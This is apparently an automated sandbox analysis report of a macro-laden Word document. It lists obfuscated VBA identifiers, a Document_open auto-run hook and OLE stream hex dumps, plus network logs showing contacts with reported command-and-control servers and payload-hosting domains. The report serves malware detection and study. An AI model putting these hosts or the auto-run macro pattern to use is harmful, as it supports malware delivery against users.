zaPgDlYE()

MFOcG

kOGmA

ndtns

Split(bvWlGF,

YeFGHHg:

UNxmoIDW

IcMvJH

nd_ns

bhdApJCs)

GpgYnI

NPikOxWEE

Array((nXOBD),

yoxbGFcFG

wGGXPWXvH

BcOIJEb:

IfwvovBbI

qckhE:

XCCUFUDF

gzqiCG

wrBNJ

Split(WnGZXISGD,

IzaGEVCD

Split(DfLwCIJs,

HJbpE

Split(wGGXPWXvH,

AsczD

DWDXCYzB

Mid(Application.Name,

tllnMEB()

mQJJC

fcMsqBqHS)

String:

liXWDHf

GwBkDZG()

vXKNhR

HiXlCAMl

skuwd

GwCvEyD()

TTSSDBE

Keyword

General

Stream Path: Macros/VBA/Pc1nzntniqj_dur51

VBA File Name: Pc1nzntniqj_dur51

Stream Size: 704

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . E . . ' . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 23 02 00 00 83 02 00 
00 00 00 00 00 01 00 00 00 45 ed c9 27 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

Keyword

Attribute

VB_Name

VBA File Name: Pc1nzntniqj_dur51, Stream Size: 704

VBA Code Keywords
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VBA Code

General

Stream Path: Macros/VBA/Ynzysnuyyfihfq23d

VBA File Name: Ynzysnuyyfihfq23d

Stream Size: 1174

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E . . c . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: 01 16 01 00 00 f0 00 00 00 04 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 0b 03 00 00 9b 03 00 
00 00 00 00 00 01 00 00 00 45 ed 83 63 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 
00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 

VBA Code

Keyword

False

Private

VB_Exposed

Attribute

VB_Name

VB_Creatable

Document_open()

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

VB_TemplateDerived

General

Stream Path: \x1CompObj

File Type: data

Stream Size: 146

Entropy: 4.00187355764

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t 
. 8 . . 9 . q @ . . . . . > . : . C . < . 5 . = . B .   . M . i . c . r . o . s . o . f . t .   . W . o . r . d .   . 9 . 7 . 
- . 2 . 0 . 0 . 3 . . . . . . . . . . . 

Data Raw: 01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d 
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00 
37 00 2d 00 

General

Stream Path: \x5DocumentSummaryInformation

File Type: data

Stream Size: 308

Entropy: 2.92079753313

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . . . . . . . . .
p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . G . . . . . . . * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . 

VBA File Name: Ynzysnuyyfihfq23d, Stream Size: 1174

VBA Code Keywords

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 308
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Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 04 01 00 00 0c 00 00 00 01 00 00 00 
68 00 00 00 0f 00 00 00 ec 00 00 00 05 00 00 00 70 00 00 00 06 00 00 00 78 00 00 00 11 00 
00 00 80 00 00 00 17 00 00 00 88 00 00 00 0b 00 00 00 90 00 00 00 10 00 00 00 98 00 00 00 
13 00 00 00 a0 00 00 00 

General

General

Stream Path: \x5SummaryInformation

File Type: data

Stream Size: 584

Entropy: 4.08441751167

Base64 Encoded: False

Data ASCII: . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . . . . . . . . . \\ . . . . .
. . . . . . . . . . D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . $ . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f 
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 18 02 00 00 11 00 00 00 01 00 00 00 90 
00 00 00 02 00 00 00 5c 01 00 00 03 00 00 00 98 00 00 00 04 00 00 00 44 01 00 00 05 00 00 
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 c8 00 00 00 09 
00 00 00 d4 00 00 00 

General

Stream Path: 1Table

File Type: data

Stream Size: 6881

Entropy: 6.01925086237

Base64 Encoded: True

Data ASCII: j . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . .
6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6
. . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
. . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 

Data Raw: 6a 04 11 00 12 00 01 00 0b 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 
76 02 00 00 76 02 00 00 

General

Stream Path: Macros/PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 531

Entropy: 5.60149373099

Base64 Encoded: True

Data ASCII: I D = " { D C 6 D B B 0 F - 4 4 C C - 4 3 0 C - 8 E B 1 - D C E F F 4 E 8 4 C 3 4 } " . . D o c u 
m e n t = Y n z y s n u y y f i h f q 2 3 d / & H 0 0 0 0 0 0 0 0 . . M o d u l e = P c 1 n z n t n i q j 
_ d u r 5 1 . . M o d u l e = J l z k 8 q s q c s h l 6 j k . . E x e N a m e 3 2 = " R w 9 v _ p l t f h q 
t u 0 d 2 w " . . N a m e = " m x " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l 
e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " F B F 9 B D 4 5 3 3 4 9 3 3 4 9 3 3 4 9 3 3 4 

Data Raw: 49 44 3d 22 7b 44 43 36 44 42 42 30 46 2d 34 34 43 43 2d 34 33 30 43 2d 38 45 42 31 2d 44 
43 45 46 46 34 45 38 34 43 33 34 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 59 6e 7a 79 73 6e 
75 79 79 66 69 68 66 71 32 33 64 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4d 6f 64 75 6c 65 
3d 50 63 31 6e 7a 6e 74 6e 69 71 6a 5f 64 75 72 35 31 0d 0a 4d 6f 64 75 6c 65 3d 4a 6c 7a 
6b 38 71 73 71 63 73 68 

General

Stream Path: Macros/PROJECTwm

File Type: data

Stream Size: 158

Entropy: 3.75845137034

Base64 Encoded: False

Data ASCII: Y n z y s n u y y f i h f q 2 3 d . Y . n . z . y . s . n . u . y . y . f . i . h . f . q . 2 . 3 . d . . . P c 1 n z n
t n i q j _ d u r 5 1 . P . c . 1 . n . z . n . t . n . i . q . j . _ . d . u . r . 5 . 1 . . . J l z k 8 q s q c s h l 6 
j k . J . l . z . k . 8 . q . s . q . c . s . h . l . 6 . j . k . . . . . 

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 584

Stream Path: 1Table, File Type: data, Stream Size: 6881

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 531

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 158
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Data Raw: 59 6e 7a 79 73 6e 75 79 79 66 69 68 66 71 32 33 64 00 59 00 6e 00 7a 00 79 00 73 00 6e 00 
75 00 79 00 79 00 66 00 69 00 68 00 66 00 71 00 32 00 33 00 64 00 00 00 50 63 31 6e 7a 6e 
74 6e 69 71 6a 5f 64 75 72 35 31 00 50 00 63 00 31 00 6e 00 7a 00 6e 00 74 00 6e 00 69 00 
71 00 6a 00 5f 00 64 00 75 00 72 00 35 00 31 00 00 00 4a 6c 7a 6b 38 71 73 71 63 73 68 6c 
36 6a 6b 00 4a 00 6c 00 

General

General

Stream Path: Macros/VBA/_VBA_PROJECT

File Type: data

Stream Size: 4827

Entropy: 5.51290275717

Base64 Encoded: False

Data ASCII: . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 .
0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 1 . # . 9 . 
# . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . 
~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l .   . B . a . s
. i . c .   . F . 

Data Raw: cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 
04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 
34 00 2e 00 31 00 23 00 

General

Stream Path: Macros/VBA/dir

File Type: data

Stream Size: 637

Entropy: 6.3067929208

Base64 Encoded: True

Data ASCII: . y . . . . . . . . . . 0 * . . . . . p . . H . . " . . d . . . . . m 2 . 2 . 4 . . @ . . . . . Z = . . . . b . . . . . . . . . . k . 
a . . . % . J < . . . . . r s t   d o l e > . 2 s . . t . d . o . l . . e . . . h . % ^ . . . * \\ G { 0 0 0 2 ` 0 4 3 0 
- . . . . C . . . . . . . 0 0 4 6 } . # 2 . 0 # 0 # C . : \\ W i n d o w . s \\ S y s W O W . 6 4 \\ . e 2 . t l . 
b # O L E   A u . t o m a t i o n . . ` . . . . O f f i c . . E O . f . . i . c 5 . E . . . . . . . E 2 D . F 8 D 0 4 
C - 5 . B F A - 1 0 1 B   - 

Data Raw: 01 79 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4 
04 04 02 1c 6d 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 0a 07 02 62 01 14 08 06 12 
09 01 02 12 13 6b fe 61 1a 00 0c 25 02 4a 3c 02 0a 16 00 01 72 73 74 20 64 6f 6c 65 3e 02 
32 73 00 00 74 00 64 00 6f 00 6c 00 a0 65 00 0d 00 68 00 25 5e 00 03 00 2a 5c 47 7b 30 30 
30 32 60 30 34 33 30 2d 

General

Stream Path: WordDocument

File Type: data

Stream Size: 95711

Entropy: 6.59080514362

Base64 Encoded: True

Data ASCII: . . . . _ . . . . . . . . . . . . . . . . . . . . . . . q . . . . . b j b j . . . . . . . . . . . . . . . . . . . . . . . . . . . u . . b . . . b .
. . q . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . F . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 

Data Raw: ec a5 c1 00 5f c0 09 04 00 00 f1 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 71 94 00 
00 0e 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 
04 16 00 df 75 01 00 62 7f 00 00 62 7f 00 00 71 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 
00 00 00 00 

General

Stream Path: office

File Type: data

Stream Size: 3600

Entropy: 7.95165191987

Base64 Encoded: False

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 4827

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 637

Stream Path: WordDocument, File Type: data, Stream Size: 95711

Stream Path: office, File Type: data, Stream Size: 3600
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Snort IDS Alerts

Network Port Distribution

Total Packets: 40

• 53 (DNS)

• 443 (HTTPS)

• 80 (HTTP)

Data ASCII: E . . H . . v . @ . { . = ? . l % . . . . . . . . M . . | . . . . g w } . . t . T . . p a . H I . . . . I 0 . . V c _ = . . 6
~ . . . . . G . . . + . . . F D . . u . . . 5 . . w . & e ' 7 . s . ~ . . . r . f V G H . p . ; . . n 8 . . . . . . T ^ .   =
v Y . L A . . . . . . . , . . x : . z . F . . . z . . . . . . o E . . . . $ . 3 m . u . . w . . . . . . . . . . Z . . + , . . U ~
. ; . . . . . . F . . C X M . . . ` . . G . : ! . . . Q w . . .   ' % < s L . . . . Q b O y . N . . _ 7 . . 6 . . . . h . . 
v @ . 

Data Raw: 45 0d 09 48 8a d3 76 b2 40 dc 7b db 3d 3f c5 6c 25 05 d7 14 0b 83 b6 a5 e8 4d bf 95 7c c2 0f 
df db 67 77 7d c8 87 74 ab 54 ff fc 70 61 f7 48 49 ae f9 e6 d9 49 30 f0 c1 56 63 5f 3d 14 e0 36 
7e cd 9c ff d5 c7 47 a3 9e 90 2b c0 0b 86 46 44 f1 04 75 e7 82 dc 35 95 aa 77 b5 26 65 27 37 
97 73 c9 7e a3 c4 f8 72 81 66 56 47 48 1d 70 e5 3b 10 1e 6e 38 9e f9 b3 a2 97 07 54 5e 11 
20 3d 76 59 

General

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

01/26/21-
10:49:16.398561

TCP 2404322 ET CNC Feodo Tracker Reported CnC Server TCP group 12 49174 80 192.168.2.22 190.55.186.229

01/26/21-
10:49:29.348533

TCP 2404326 ET CNC Feodo Tracker Reported CnC Server TCP group 14 49175 7080 192.168.2.22 203.157.152.9

01/26/21-
10:49:35.770683

TCP 2404308 ET CNC Feodo Tracker Reported CnC Server TCP group 5 49176 443 192.168.2.22 157.245.145.87

01/26/21-
10:49:41.963049

TCP 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 49177 80 192.168.2.22 132.248.38.158

01/26/21-
10:50:02.322084

TCP 2404302 ET CNC Feodo Tracker Reported CnC Server TCP group 2 49179 8080 192.168.2.22 110.172.180.180

Timestamp Source Port Dest Port Source IP Dest IP

Jan 26, 2021 10:49:02.171469927 CET 49167 80 192.168.2.22 172.217.6.174

Jan 26, 2021 10:49:02.325359106 CET 80 49167 172.217.6.174 192.168.2.22

Jan 26, 2021 10:49:02.325505972 CET 49167 80 192.168.2.22 172.217.6.174

Jan 26, 2021 10:49:02.327931881 CET 49167 80 192.168.2.22 172.217.6.174

Jan 26, 2021 10:49:02.481794119 CET 80 49167 172.217.6.174 192.168.2.22

Jan 26, 2021 10:49:02.481854916 CET 80 49167 172.217.6.174 192.168.2.22

Jan 26, 2021 10:49:02.481887102 CET 80 49167 172.217.6.174 192.168.2.22

Jan 26, 2021 10:49:02.481976986 CET 49167 80 192.168.2.22 172.217.6.174

Jan 26, 2021 10:49:02.561449051 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.601639986 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.601794004 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.611016989 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.651180029 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.659581900 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.659636974 CET 443 49168 104.21.88.166 192.168.2.22

TCP Packets
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Jan 26, 2021 10:49:02.659801006 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.674685001 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.715013027 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.715092897 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.925832987 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.962780952 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:02.962919950 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:02.968161106 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:03.008373022 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031749010 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031810045 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031852961 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031878948 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031917095 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031944990 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.031980991 CET 443 49168 104.21.88.166 192.168.2.22

Jan 26, 2021 10:49:03.032011032 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:03.032067060 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:03.032073021 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:03.111203909 CET 49169 80 192.168.2.22 45.138.97.75

Jan 26, 2021 10:49:03.151880980 CET 80 49169 45.138.97.75 192.168.2.22

Jan 26, 2021 10:49:03.152050972 CET 49169 80 192.168.2.22 45.138.97.75

Jan 26, 2021 10:49:03.152278900 CET 49169 80 192.168.2.22 45.138.97.75

Jan 26, 2021 10:49:03.193526983 CET 80 49169 45.138.97.75 192.168.2.22

Jan 26, 2021 10:49:03.200124025 CET 80 49169 45.138.97.75 192.168.2.22

Jan 26, 2021 10:49:03.237916946 CET 49168 443 192.168.2.22 104.21.88.166

Jan 26, 2021 10:49:03.271044016 CET 49170 80 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.316962957 CET 80 49170 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.317065001 CET 49170 80 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.317182064 CET 49170 80 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.363555908 CET 80 49170 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.393999100 CET 49169 80 192.168.2.22 45.138.97.75

Jan 26, 2021 10:49:03.405802965 CET 80 49170 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.470871925 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.515533924 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.515718937 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.516303062 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.561403036 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.562882900 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.562944889 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.562979937 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.563055038 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.578593969 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.612267017 CET 49170 80 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.623680115 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.642278910 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.650773048 CET 80 49170 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.650863886 CET 49170 80 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.726824045 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.743954897 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.744012117 CET 443 49171 212.227.200.73 192.168.2.22

Jan 26, 2021 10:49:03.744117975 CET 49171 443 192.168.2.22 212.227.200.73

Jan 26, 2021 10:49:03.814774036 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.854526997 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.854697943 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.855214119 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.894953966 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.895025015 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.895085096 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.895138025 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.895175934 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:03.895201921 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.895256996 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.895838976 CET 443 49172 192.0.78.20 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP
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Jan 26, 2021 10:49:03.911807060 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:03.951952934 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:04.158390045 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:04.198831081 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:04.198945045 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:04.829884052 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:04.913119078 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.133758068 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.133861065 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.133924961 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.133991003 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.134052992 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.134115934 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.134179115 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.134282112 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.134491920 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:05.136676073 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.136727095 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.137010098 CET 49172 443 192.168.2.22 192.0.78.20

Jan 26, 2021 10:49:05.139815092 CET 443 49172 192.0.78.20 192.168.2.22

Jan 26, 2021 10:49:05.139856100 CET 443 49172 192.0.78.20 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Jan 26, 2021 10:49:02.104759932 CET 52197 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:02.162194014 CET 53 52197 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:02.504286051 CET 53099 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:02.560549974 CET 53 53099 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:03.049521923 CET 52838 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:03.110487938 CET 53 52838 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:03.213757992 CET 61200 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:03.270020008 CET 53 61200 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:03.413027048 CET 49548 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:03.469562054 CET 53 49548 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:03.754988909 CET 55627 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:03.813617945 CET 53 55627 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:04.110269070 CET 56009 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:04.158539057 CET 53 56009 8.8.8.8 192.168.2.22

Jan 26, 2021 10:49:04.164685965 CET 61865 53 192.168.2.22 8.8.8.8

Jan 26, 2021 10:49:04.222173929 CET 53 61865 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 26, 2021 10:49:02.104759932 CET 192.168.2.22 8.8.8.8 0x3714 Standard query 
(0)

nightlifem
umbai.club

A (IP address) IN (0x0001)

Jan 26, 2021 10:49:02.504286051 CET 192.168.2.22 8.8.8.8 0x24c2 Standard query 
(0)

shop.nowfal.dev A (IP address) IN (0x0001)

Jan 26, 2021 10:49:03.049521923 CET 192.168.2.22 8.8.8.8 0x758f Standard query 
(0)

e-wdesign.eu A (IP address) IN (0x0001)

Jan 26, 2021 10:49:03.213757992 CET 192.168.2.22 8.8.8.8 0xf75c Standard query 
(0)

traumfrauen-
ukraine.de

A (IP address) IN (0x0001)

Jan 26, 2021 10:49:03.413027048 CET 192.168.2.22 8.8.8.8 0xa343 Standard query 
(0)

traumfrauen-
ukraine.de

A (IP address) IN (0x0001)

Jan 26, 2021 10:49:03.754988909 CET 192.168.2.22 8.8.8.8 0xe5d1 Standard query 
(0)

jflmktg.wp
comstaging.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 26, 2021 
10:49:02.162194014 
CET

8.8.8.8 192.168.2.22 0x3714 No error (0) nightlifem
umbai.club

172.217.6.174 A (IP address) IN (0x0001)

Jan 26, 2021 
10:49:02.560549974 
CET

8.8.8.8 192.168.2.22 0x24c2 No error (0) shop.nowfal.dev 104.21.88.166 A (IP address) IN (0x0001)

UDP Packets

DNS Queries

DNS Answers
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Jan 26, 2021 
10:49:02.560549974 
CET

